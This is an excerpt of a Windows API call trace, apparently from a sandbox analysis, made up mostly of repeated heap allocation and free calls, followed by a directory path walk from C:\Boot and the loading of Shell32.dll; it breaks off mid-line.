[0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.844] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.844] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.845] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.845] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.846] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.846] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.847] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.847] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.848] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.848] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.850] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.850] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.851] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.851] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.852] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0066.852] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.852] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.852] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.852] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.852] PathFindFileNameW (pszPath="") returned="" [0066.853] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.853] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.853] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 